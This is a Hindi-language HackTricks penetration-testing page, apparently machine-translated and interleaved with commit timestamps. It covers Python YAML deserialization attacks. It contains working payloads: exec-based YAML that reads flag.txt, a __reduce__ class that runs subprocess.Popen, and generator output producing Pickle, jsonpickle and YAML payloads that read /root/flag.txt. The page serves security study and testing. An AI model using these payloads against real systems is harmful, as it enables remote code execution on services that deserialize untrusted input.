hacktricks/pentesting-web/deserialization/python-yaml-deserialization.md

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2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
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2023-11-06 08:38:02 +00:00
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</details>
2023-11-06 08:38:02 +00:00
# Yaml **डिसीरियलाइज़ेशन**
2023-11-06 08:38:02 +00:00
**Yaml** पायथन पुस्तकालयों के द्वारा केवल कच्चे डेटा को ही नहीं, बल्कि पायथन ऑब्जेक्ट्स को भी **सीरीयलाइज़ करने** के लिए सक्षम है:
```
print(yaml.dump(str("lol")))
lol
...
print(yaml.dump(tuple("lol")))
!!python/tuple
- l
- o
- l
2023-11-06 08:38:02 +00:00
print(yaml.dump(range(1,10)))
!!python/object/apply:builtins.range
- 1
- 10
- 1
```
2023-11-06 08:38:02 +00:00
जांचें कि **tuple** एक रॉ डेटा प्रकार नहीं है और इसलिए इसे **सीरीयलाइज़** किया गया था। और यही हुआ **range** के साथ भी (बिल्टिन्स से लिया गया)।
2022-03-21 17:37:28 +00:00
![](<../../.gitbook/assets/image (628) (1).png>)
2023-11-06 08:38:02 +00:00
**safe\_load()** या **safe\_load\_all()** SafeLoader का उपयोग करता है और **क्लास ऑब्जेक्ट डेसीरियलाइज़ेशन का समर्थन नहीं करता**। क्लास ऑब्जेक्ट डेसीरियलाइज़ेशन उदाहरण:
```python
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:builtins.range [1, 10, 1]'
print(yaml.load(data, Loader=UnsafeLoader)) #range(1, 10)
print(yaml.load(data, Loader=Loader)) #range(1, 10)
print(yaml.load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=Loader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=UnsafeLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=FullLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load(data)) #range(1, 10)
print(yaml.full_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
#The other ways to load data will through an error as they won't even attempt to
#deserialize the python object
```
2023-11-06 08:38:02 +00:00
पिछला कोड **unsafe\_load** का उपयोग करता है ताकि सीरीयलाइज़ किए गए पायथन क्लास को लोड कर सके। यह इसलिए है क्योंकि **संस्करण >= 5.1** में, यह लोड() या Loader=SafeLoader में निर्दिष्ट नहीं करता है, इसलिए किसी भी सीरीयलाइज़ किए गए पायथन क्लास या क्लास एट्रिब्यूट को डिसीरियलाइज़ करने की अनुमति नहीं देता है।
2023-11-06 08:38:02 +00:00
## मूल अभिक्रिया
2023-11-06 08:38:02 +00:00
एक उदाहरण जिसमें **नींद को निष्पादित करने** के लिए कैसे उपयोग करें:
```python
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:time.sleep [2]'
print(yaml.load(data, Loader=UnsafeLoader)) #Executed
print(yaml.load(data, Loader=Loader)) #Executed
print(yaml.load_all(data))
print(yaml.load_all(data, Loader=Loader))
print(yaml.load_all(data, Loader=UnsafeLoader))
print(yaml.load_all(data, Loader=FullLoader))
print(yaml.unsafe_load(data)) #Executed
print(yaml.full_load_all(data))
print(yaml.unsafe_load_all(data))
```
2023-11-06 08:38:02 +00:00
## लोडर के बिना संकटपूर्ण .load("\<सामग्री>")
2023-11-06 08:38:02 +00:00
पुराने संस्करणों में pyyaml खुलवाने के समय आप लोड करते समय लोडर की विशेष निर्दिष्टि नहीं करते थे तो वह असुरक्षित थे: `yaml.load(data)`
2022-02-18 17:51:13 +00:00
2023-11-06 08:38:02 +00:00
आप यहां [**संकट का विवरण यहां पा सकते हैं**](https://hackmd.io/@defund/HJZajCVlP)**.** उस पृष्ठ में प्रस्तावित **शोषण** है:
2022-02-18 17:51:13 +00:00
```yaml
!!python/object/new:str
state: !!python/tuple
- 'print(getattr(open("flag\x2etxt"), "read")())'
- !!python/object/new:Warning
2023-11-06 08:38:02 +00:00
state:
update: !!python/name:exec
2022-02-18 17:51:13 +00:00
```
2023-11-06 08:38:02 +00:00
या आप इस **एक-लाइनर का उपयोग कर सकते हैं जो @ishaack द्वारा प्रदान किया गया है**:
2022-02-18 18:14:38 +00:00
```yaml
!!python/object/new:str {state: !!python/tuple ['print(exec("print(o"+"pen(\"flag.txt\",\"r\").read())"))', !!python/object/new:Warning {state : {update : !!python/name:exec } }]}
```
2023-11-06 08:38:02 +00:00
नोट करें कि **हाल के संस्करणों में** आप **अब `.load()` को बिना `Loader` के नहीं कह सकते** हैं और **`FullLoader`** इस हमले के प्रति **अब सुरक्षित है**
2022-02-18 17:51:13 +00:00
2022-05-01 12:41:36 +00:00
# RCE
2023-11-06 08:38:02 +00:00
कृपया ध्यान दें कि पेलोड निर्माण **किसी भी पायथन YAML मॉड्यूल (PyYAML या ruamel.yaml), उसी तरीके से** किया जा सकता है। एक ही पेलोड YAML मॉड्यूल या PyYAML या ruamel.yaml पर आधारित किसी भी मॉड्यूल को शोषित कर सकता है।
```python
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
import subprocess
class Payload(object):
2023-11-06 08:38:02 +00:00
def __reduce__(self):
return (subprocess.Popen,('ls',))
deserialized_data = yaml.dump(Payload()) # serializing data
print(deserialized_data)
#!!python/object/apply:subprocess.Popen
#- ls
print(yaml.load(deserialized_data, Loader=UnsafeLoader))
print(yaml.load(deserialized_data, Loader=Loader))
print(yaml.unsafe_load(deserialized_data))
```
2023-11-06 08:38:02 +00:00
## यात्रा उत्पन्न करने के लिए टूल
2023-11-06 08:38:02 +00:00
टूल [https://github.com/j0lt-github/python-deserialization-attack-payload-generator](https://github.com/j0lt-github/python-deserialization-attack-payload-generator) का उपयोग करके पायथन डीसीरियलाइज़ेशन पेलोड उत्पन्न किए जा सकते हैं ताकि **Pickle, PyYAML, jsonpickle और ruamel.yaml** का दुरुपयोग किया जा सके:
```bash
2023-11-06 08:38:02 +00:00
python3 peas.py
Enter RCE command :cat /root/flag.txt
Enter operating system of target [linux/windows] . Default is linux :linux
Want to base64 encode payload ? [N/y] :
Enter File location and name to save :/tmp/example
Select Module (Pickle, PyYAML, jsonpickle, ruamel.yaml, All) :All
Done Saving file !!!!
2023-11-06 08:38:02 +00:00
cat /tmp/example_jspick
{"py/reduce": [{"py/type": "subprocess.Popen"}, {"py/tuple": [{"py/tuple": ["cat", "/root/flag.txt"]}]}]}
cat /tmp/example_pick | base64 -w0
gASVNQAAAAAAAACMCnN1YnByb2Nlc3OUjAVQb3BlbpSTlIwDY2F0lIwOL3Jvb3QvZmxhZy50eHSUhpSFlFKULg==
cat /tmp/example_yaml
!!python/object/apply:subprocess.Popen
- !!python/tuple
2023-11-06 08:38:02 +00:00
- cat
- /root/flag.txt
```
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# संदर्भ
2023-11-06 08:38:02 +00:00
इस तकनीक के बारे में अधिक जानकारी के लिए पढ़ें: [https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf](https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf)
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2023-04-25 18:35:28 +00:00
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